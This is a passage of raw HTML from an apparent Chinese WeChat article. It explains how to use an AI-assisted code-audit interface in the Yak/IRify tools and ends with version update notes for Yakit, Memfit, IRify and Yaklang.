rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">AI 审计 </span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m7xz0tbq" style="font-size: 15px;" data-mpa-action-id="mr4m7xzb1fu1" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">引导完成后，界面大致分为三块：</span></span></p><p style="text-align: center;padding: 0.5em;" data-type="image" data-ace-gallery-json="{&#34;items&#34;:[{&#34;uuid&#34;:&#34;d1511780-7c26-4320-8faa-d46ec98eb361&#34;,&#34;height&#34;:1700,&#34;width&#34;:4096,&#34;currHeight&#34;:1700,&#34;currWidth&#34;:4096,&#34;natrualHeight&#34;:1700,&#34;natrualWidth&#34;:4096,&#34;pluginName&#34;:&#34;imageUpload&#34;,&#34;scale&#34;:1,&#34;src&#34;:&#34;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FEFpLb2aTKoGgpUxaobDcQYfIn9c%2F%3Fpreview_type%3D16&#34;,&#34;file_token&#34;:&#34;EFpLb2aTKoGgpUxaobDcQYfIn9c&#34;,&#34;image_type&#34;:&#34;image/png&#34;,&#34;size&#34;:936545,&#34;comments&#34;:[]}]}" nodeleaf="" data-mpa-action-id="mr4m88o14ot" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4150390625" data-type="png" data-w="4096" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="4096" data-height="1700" data-imgfileid="100046307" src="https://wechat2rss.xlab.app/img-proxy/?k=8ced9951&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72Ed7EicdHiaMWZFq47H1vqepVQBfjVNiaIurticAgfODR7EicZdB7q250MeEJ2Vp6MNJ3CRfpAMKC4DoiaLpaPBLv6icr4ia9tKY40IeEs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m8dp011nn" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">左侧文件目录 将可以选择浏览文件系统</span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m8dp020ks" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">中间代码编辑器， 可以浏览代码并选中内容发送到AI对话。</span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m8dp01h8l" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">右侧AI审计：AI将会自动开始按照流程审计，并得到一份报告。可以发送选中的重点内容发送给AI。</span></span></p></li></ul></div><div data-mpa-action-id="mr4n5n8xmre" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">把选中的代码发给 AI</span></span></strong></span></p></div></div></div></div></div><p data-mpa-action-id="mr4m8wft15h" data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m8wfjy53" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">在编辑器里</span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">用鼠标选中一段代码</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">选区附近会出现悬浮按钮 </span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「发送到 AI 会话」</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></span></p><p style="text-align: center;padding: 0.5em;" data-type="image" data-ace-gallery-json="{&#34;items&#34;:[{&#34;uuid&#34;:&#34;bf233d7e-d168-4b40-abe5-70db0c5ea7f8&#34;,&#34;height&#34;:1170,&#34;width&#34;:3106,&#34;currHeight&#34;:1170,&#34;currWidth&#34;:3106,&#34;natrualHeight&#34;:1170,&#34;natrualWidth&#34;:3106,&#34;pluginName&#34;:&#34;imageUpload&#34;,&#34;scale&#34;:1,&#34;src&#34;:&#34;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FU1GCbKdS5oPG3kxVVQRcvOvDnmf%2F%3Fpreview_type%3D16&#34;,&#34;file_token&#34;:&#34;U1GCbKdS5oPG3kxVVQRcvOvDnmf&#34;,&#34;image_type&#34;:&#34;image/png&#34;,&#34;size&#34;:681227,&#34;comments&#34;:[]}]}" nodeleaf="" data-mpa-action-id="mr4nkwwphtb" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37669027688345136" data-type="png" data-w="3106" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="3106" data-height="1170" data-imgfileid="100046309" src="https://wechat2rss.xlab.app/img-proxy/?k=d32674fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GKNHhsjdfZEsicO2BLibbQXRUAGkjRnGbJ8BdjvmEPHZWuB7icMdS2nMBLqw27tWvCvicdbp41mDRrEpa36P1wIV6Hxxm1Pgxv1p0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4n5n8l1dzp" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">点击后，选中内容会作为附件出现在右侧 AI 输入区，你可以补充问题再发送。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4n5n8l1sps" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">也可以</span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">右键菜单 </span></span></strong><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">→ </span></span></strong><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">发送到 AI 会话</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">效果相同。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4n5n8lm0e" style="font-size: 15px;"><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">典型用法：</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> AI 先整体扫一遍 → 你在代码里发现可疑片段 → 选中后发给 AI 追问「这段有没有问题？怎么修？」</span></span></span></p></div><div data-mpa-action-id="mr4lpd3biai" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">代码审计报告</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">在AI审计完成后将会得到报告。可选择打开查看报告。并选择下载到本地（PDF形式）。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" data-type="image" data-ace-gallery-json="{&#34;items&#34;:[{&#34;uuid&#34;:&#34;404a6e04-cfdd-4fe2-a806-d91113c8c6f1&#34;,&#34;height&#34;:1520,&#34;width&#34;:3236,&#34;currHeight&#34;:1520,&#34;currWidth&#34;:3236,&#34;natrualHeight&#34;:1520,&#34;natrualWidth&#34;:3236,&#34;pluginName&#34;:&#34;imageUpload&#34;,&#34;scale&#34;:1,&#34;src&#34;:&#34;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FJMpubQWw4oWX7xxMc4icjzH4nwT%2F%3Fpreview_type%3D16&#34;,&#34;file_token&#34;:&#34;JMpubQWw4oWX7xxMc4icjzH4nwT&#34;,&#34;image_type&#34;:&#34;image/png&#34;,&#34;size&#34;:1099922,&#34;comments&#34;:[]}]}" nodeleaf="" data-mpa-action-id="mr4n6c2l1zhr" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1520" data-imgfileid="100046310" data-ratio="0.46971569839307786" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="3236" data-width="3236" src="https://wechat2rss.xlab.app/img-proxy/?k=5f079340&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FjaicAXEzVUccr75L77zAUXDhyI8Z7y6bGlId4zaKvd45klM9ISAictoyqawX8tFCjPg4R5M7aXnib73N0kYM3nvtSL9IAMVdDf8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">五、几种常见使用方式</span></strong></p></div></div></div></div><div data-mpa-action-id="mr4lpd3biai" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">方式 1：从首页一键开始</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mr4n73ei24ag" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">1.首页点 </span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「开始 AI 审计」或「开始 Skill 分析」。</span></span></strong></span></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mr4n73ei97k" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">2.引导里选目录 → 确认审计风格 → 点 </span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「开始」。</span></span></strong></span></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mr4n73ei6jk" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.AI 自动收到预设开始消息并开始工作；左侧可浏览代码，右侧看 AI 回复。</span></span></p></div><div data-mpa-action-id="mr4lpd3biai" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">方式 2：先打开目录，稍后再问 AI</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.引导第三步点 </span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「仅打开文件」。</span></span></strong></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.目录打开，预设消息在输入框里但不会自动发出。</span></span></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.可以先自己看代码，想好问题后改输入框内容，再手动点发送。</span></span></p></div><div data-mpa-action-id="mr4lpd3biai" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">方式 3：从历史记录接着上次的工作</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.欢迎页或引导第一步的 </span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「最近打开」</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 里点一条记录。</span></span></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.若记录里已有审计类型，会直接进入 </span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">第三步确认。</span></span></strong></p><p style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.想换类型：点 </span></span><strong style="line-height: 1.6em;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「上一步」</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 回到第二步修改。</span></span></p><div style="margin-bottom: 8px;line-height: 1.6em;margin-left: 8px;margin-right: 8px;"><p style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);"><span leaf="">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">更新记录 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p><span leaf="">Yakit v1.4.7-0703</span></p><p><span leaf="">1. 右键菜单部分选项折叠，点击执行默认选项</span></p><p><span leaf="">2. 移除AI插件选项，所有右键插件在“插件扩展”展示</span></p><p><span leaf="">3. 优化history表单展示逻辑</span></p><p><span leaf="">4. 补充优化部分英文翻译</span></p><p><span leaf="">5. MITM内置规则支持开关配置</span></p><p><span leaf="">6. 修复附近数据包查看功能</span></p><p><span leaf="">7. 修复时间筛选回显问题</span></p><p><span leaf="">8. 修复插件图片评论异常问题</span></p><p><span leaf="">9. 修复网站树异常问题</span></p><p><span leaf="">10. WebFuzzer流量新增tag支持筛选</span></p><p><span leaf="">11. 二进制展示方式可通过History-配置和Webfuzzer配置进行控制</span></p><p><span leaf="">12. 二进制弹框组件增加复制和导出</span></p><p><span leaf="">13. 启动页面增加引擎版本切换</span></p><p><span leaf="">Memfit v1.0.2-0703</span></p><p><span leaf="">1. 自由会话增加子agent执行</span></p><p><span leaf="">2. 工具调用增加调用目的展示</span></p><p><span leaf="">3. 任务详情增加浏览器进程展示和管理</span></p><p><span leaf="">4. 优化任务详情展示UI</span></p><p><span leaf="">5. Ai输出的代码狂不展示行号和小地图，方便展示更多内容</span></p><p><span leaf="">6. 登录账号可分配Apikey</span></p><p><span leaf="">IRify v1.2.3-0703</span></p><p><span leaf="">1. AI代码审计增加SKILL分析</span></p><p><span leaf="">Yaklang 1.4.8-beta1</span></p><p><span leaf="">1. 修复 MITM 透明代理 TLS 握手卡住问题</span></p><p><span leaf="">2. HTTPFlow/WebFuzzer 流量标记、分片编码与导出增强</span></p><p><span leaf="">3. MITM 请求支持按需关闭内置 TrafficGuard 扫描</span></p><p><span leaf="">4. 修复 HTTPFlow 网站树被最新扫描 Host 覆盖</span></p><p><span leaf="">5. 修复 AI 引擎 Aborted/连接失败状态不返回错误</span></p><p><span leaf="">6. AI ReAct 最大迭代改为软中断，失败信息更完整</span></p><p><span leaf="">7. AI Plan 支持直接规划路径与 DAG 校验</span></p><p><span leaf="">8. AI 工具调用 reason/status 与子 Agent 流式展示优化</span></p><p><span leaf="">9. Yaklang Code 模式自测、执行流程与错误处理优化</span></p><p><span leaf="">10. use_browser 优先使用 Yakit 配置的 Chrome 路径</span></p><p><span leaf="">11. 修复信息收集 JS 静态流程逗号路径问题</span></p><p><span leaf="">12. Nuclei flow/internal matcher 支持，降低误报</span></p></div></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 